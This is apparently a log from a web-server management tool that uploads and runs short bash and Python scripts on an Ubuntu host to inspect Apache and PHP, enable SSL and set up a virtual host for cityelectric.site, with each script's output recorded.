AQsFAAOCAgEAkrHnQTfreZ2B5s3iJeE6IOmQRJWjgVzPw139vaBw1bGWKCIL0vIo
zwzn1OZDjCQiHcFCktEJr59L9MhwTyAWsVrdAfYf+B9haxQnsHKNY67u4s5Lzzfd
u6PUzeetUK29v+PsPmI2cJkxp+iN3epi4hKu9ZzUPSwMqtCceb7qPVxEbpYxY1p9
1n5PJKBLBX9eb9LU6l8zSxPWV7bK3lG4XaMJgnT9x3ies7msFtpKK5bDtotij/l0
GaKeA97pb5uwD9KgWvaFXMIEt8jVTjLEvwRdvCn294GPDF08U8lAkIv7tghluaQh
1QnlE4SEN4LOECj8dsIGJXpGUk3aU3KkJz9icKy+aUgA+2cP21uh6NcDIS3XyfaZ
QjmDQ993ChII8SXWupQZVBiIpcWO4RqZk3lr7Bz5MUCwzDIA359e57SSq5CCkY0N
4B6Vulk7LktfwrdGNVI5BsC9qqxSwSKgRJeZ9wygIaehbHFHFhcBaMDKpiZlBHyz
rsnnlFXCb5s8HKn5LsUgGvB24L7sGNZP2CX7dhHov+YhD+jozLW2p9W4959Bz2Ei
RmqDtmiXLnzqTpXbI+suyCsohKRg6Un0RC47+cpiVwHiXZAW+cn8eiNIjqbVgXLx
KPpdzvvtTnOPlC7SQZSYmdunr3Bf9b77AiC/ZidstK36dRILKz7OA54=
-----END CERTIFICATE-----
2025-08-26 14:45:56: Establishing a remote connection
2025-08-26 14:45:56:
PUT: /tmp/pkp267490
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "sites-available/cityelectric_www_site.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:45:56:
chmod 755 /tmp/pkp267490; /tmp/pkp267490; rm /tmp/pkp267490
2025-08-26 14:56:33: Establishing a remote connection
2025-08-26 14:56:48: Establishing a remote connection
2025-08-26 14:56:49:
PUT: /tmp/pkp855271
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:56:49:
chmod 755 /tmp/pkp855271; /tmp/pkp855271; rm /tmp/pkp855271
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swapfile file 2097148 951556 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-65-generic
2025-08-26 14:56:50:
PUT: /tmp/pkp559651
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-08-26 14:56:50:
chmod 755 /tmp/pkp559651; /tmp/pkp559651; rm /tmp/pkp559651
[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built: 2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded: APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854294
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 854294 0.0 0.3 223624 29288 ? Ss 09:55 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-08-26 14:56:51:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'desktop',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 22.04.5 LTS',
'rel' => '22.04.5',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swapfile',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-08-26 14:56:51:
PUT: /tmp/pkp139830
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:56:51:
chmod 755 /tmp/pkp139830; /tmp/pkp139830; rm /tmp/pkp139830
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-08-26 14:56:53:
PUT: /tmp/pkp327318
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-08-26 14:56:53:
chmod 755 /tmp/pkp327318; /tmp/pkp327318; rm /tmp/pkp327318
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
2025-08-26 14:56:54:
PUT: /tmp/pkp979714
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:56:54:
chmod 755 /tmp/pkp979714; /tmp/pkp979714; rm /tmp/pkp979714
(gzipped output)
2025-08-26 14:56:55:
PUT: /tmp/pkp846016
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
service apache2 restart
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
service apache2 restart
fi
echo status=ok
fi
2025-08-26 14:56:55:
chmod 755 /tmp/pkp846016; /tmp/pkp846016; rm /tmp/pkp846016
status=ok
2025-08-26 14:56:56:
PUT: /tmp/pkp488966
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:56:56:
chmod 755 /tmp/pkp488966; /tmp/pkp488966; rm /tmp/pkp488966
(gzipped output)
MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 4b3d257734e7da5f2fddb670d792402e
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
2025-08-26 14:57:51: Establishing a remote connection
2025-08-26 14:57:51:
PUT: /tmp/pkp128726
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "sites-available/cityelectric_www_site.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:57:51:
chmod 755 /tmp/pkp128726; /tmp/pkp128726; rm /tmp/pkp128726
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/cityelectric_www_site.conf 0
2025-08-26 14:57:53:
PUT: /tmp/pkp583959
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=sites-available/cityelectric_www_site.conf
DOCROOT=/var/www/cityelectric_www
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/cityelectric
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "../sites-available/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf'
echo 'file(/etc/apache2/sites-available/cityelectric_www_site.conf= 1'
fi
2025-08-26 14:57:53:
chmod 755 /tmp/pkp583959; /tmp/pkp583959; rm /tmp/pkp583959
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf
file(/etc/apache2/sites-available/cityelectric_www_site.conf= 1
2025-08-26 14:57:54:
PUT: /tmp/pkp380665
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-26 14:57:54:
chmod 755 /tmp/pkp380665; /tmp/pkp380665; rm /tmp/pkp380665
.
2025-08-26 14:57:55:
PUT: /tmp/pkp953571
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:57:55:
chmod 755 /tmp/pkp953571; /tmp/pkp953571; rm /tmp/pkp953571
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swapfile file 2097148 951556 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-65-generic
2025-08-26 14:57:56:
PUT: /tmp/pkp304035
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-08-26 14:57:56:
chmod 755 /tmp/pkp304035; /tmp/pkp304035; rm /tmp/pkp304035
[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built: 2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded: APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854294
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
